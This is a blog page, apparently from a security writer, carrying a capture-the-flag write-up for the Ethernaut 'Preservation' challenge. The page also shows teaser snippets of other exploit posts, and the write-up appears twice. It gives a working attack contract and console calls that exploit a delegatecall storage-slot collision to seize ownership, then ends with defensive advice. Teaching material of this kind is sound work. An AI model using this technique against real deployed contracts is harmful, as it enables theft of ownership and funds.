
OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 5: Token
My solution for the fifth ethernaut challenge: https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CEInvestigationWe have a Token contract that contains balances for address and a total supply.mapping(address => uint) balances; uint public totalSupply; We have a constructor which initializes a contract instance with a provided supply and gives that entire balance to the contract deployerconstructor(uint _initialSupply) public { balances[msg.sender] = totalSupply =...
Writing about security, MEV, privacy and decentralized finance

OlympusDAO $300,000 exploit
Two days ago on October 21st 2022, OlympusDAO was drained of 30,437 OHM Tokens (about $300,000) due to an exploit in Bond Protocol. This exploit was surprisingly simple, but nonetheless was not caught during audit. I’ll be going over how the exploit was carried out along with a proof of concept here.BackgroundFirst a quick tl;dr of what bonding is. OlympusDAO uses this approach to generate capital. Essentially, users lock up their LP tokens in exchange for OHM tokens at a discounted rate. By ...
Ethernaut 14: Naught Coin
This is my solution for the 14th ethernaut challenge, Naught Coin https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263FInvestigationWe have a smart contract which inherits the ERC20 implementation from OpenZeppelinimport '@openzeppelin/contracts/token/ERC20/ERC20.sol'; contract NaughtCoin is ERC20 { // string public constant name = 'NaughtCoin'; // string public constant symbol = '0x0'; // uint public constant decimals = 18; uint public timeLock = now + 10 * 365 ...
Ethernaut 5: Token
My solution for the fifth ethernaut challenge: https://ethernaut.openzeppelin.com/level/0x63bE8347A617476CA461649897238A31835a32CEInvestigationWe have a Token contract that contains balances for address and a total supply.mapping(address => uint) balances; uint public totalSupply; We have a constructor which initializes a contract instance with a provided supply and gives that entire balance to the contract deployerconstructor(uint _initialSupply) public { balances[msg.sender] = totalSupply =...
Writing about security, MEV, privacy and decentralized finance
Share Dialog
Share Dialog

Subscribe to 0xbanky

Subscribe to 0xbanky
<100 subscribers
<100 subscribers
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation
https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F
We have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottom
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Off the bat, we can see that delegatecall is being used to make calls to the library function. The thing to note about this low level call is that it runs functions on the library code with the context of the calling contract. This means that the storage values in the Preservation instance are used even though the function is being run from the LibraryContract instance.
When using delegatecall, the caller contract accesses storage by the order it is written. ie. There is an error in this LibraryContract because the storedTime field is in the first slot, however it is in the fourth slot in Preservation. This means that setting storedTime through a delegate call will actually be setting timeZone1Library in the Preservation contract.
We can verify this with a call to the second library function.
await contract.setSecondTime(10);
await contract.timeZone1Library();
// "0x000000000000000000000000000000000000000A"
This can be exploited to set the timeZone1Library to a contract that I control. I can then make this contract set the owner value. My attack contract looks like this
contract PreservationAttack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
function setTime(uint _time) public {
owner = address(0xCDcCAD1dE51d4e2671e0930a0b7310042998c252);
}
}
The order of the storage slots is consistent with the Preservation contract. First, I use the exploit outlined above to set the Preservation contract instance to point to my library for its timeZone1Library after deploying PreservationAttack.
await contract.setSecondTime("0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51")
Now, I simply have to call setFirstTime which will trigger the setTime method in my attacking contract.
await contract.timeZone1Library()
// "0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51" <-- My contract
await contract.setFirstTime(10)
await contract.owner()
// "0xCDcCAD1dE51d4e2671e0930a0b7310042998c252" <-- Me :D
As we’ve seen before, delegatecall can be dangerous and needs to be used with care
We could have used the library keyword for the Library contract instead of contract. This ensures that Library is not able to change state
Used some skills from earlier challenges for understanding storage slots
The ethernaut rabbit hole continues. This is my solution for the 15th challenge: Preservation
https://ethernaut.openzeppelin.com/level/0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F
We have a contract that has some time zone library addresses defined. Each of these libraries can be used to set the storedTime value on the Preservation instance. The library code being used has also been highlighted at the bottom
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
Off the bat, we can see that delegatecall is being used to make calls to the library function. The thing to note about this low level call is that it runs functions on the library code with the context of the calling contract. This means that the storage values in the Preservation instance are used even though the function is being run from the LibraryContract instance.
When using delegatecall, the caller contract accesses storage by the order it is written. ie. There is an error in this LibraryContract because the storedTime field is in the first slot, however it is in the fourth slot in Preservation. This means that setting storedTime through a delegate call will actually be setting timeZone1Library in the Preservation contract.
We can verify this with a call to the second library function.
await contract.setSecondTime(10);
await contract.timeZone1Library();
// "0x000000000000000000000000000000000000000A"
This can be exploited to set the timeZone1Library to a contract that I control. I can then make this contract set the owner value. My attack contract looks like this
contract PreservationAttack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
function setTime(uint _time) public {
owner = address(0xCDcCAD1dE51d4e2671e0930a0b7310042998c252);
}
}
The order of the storage slots is consistent with the Preservation contract. First, I use the exploit outlined above to set the Preservation contract instance to point to my library for its timeZone1Library after deploying PreservationAttack.
await contract.setSecondTime("0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51")
Now, I simply have to call setFirstTime which will trigger the setTime method in my attacking contract.
await contract.timeZone1Library()
// "0xf633EbfA216aA08f9Eb6D69e3f9Af91290AFeb51" <-- My contract
await contract.setFirstTime(10)
await contract.owner()
// "0xCDcCAD1dE51d4e2671e0930a0b7310042998c252" <-- Me :D
As we’ve seen before, delegatecall can be dangerous and needs to be used with care
We could have used the library keyword for the Library contract instead of contract. This ensures that Library is not able to change state
Used some skills from earlier challenges for understanding storage slots
No activity yet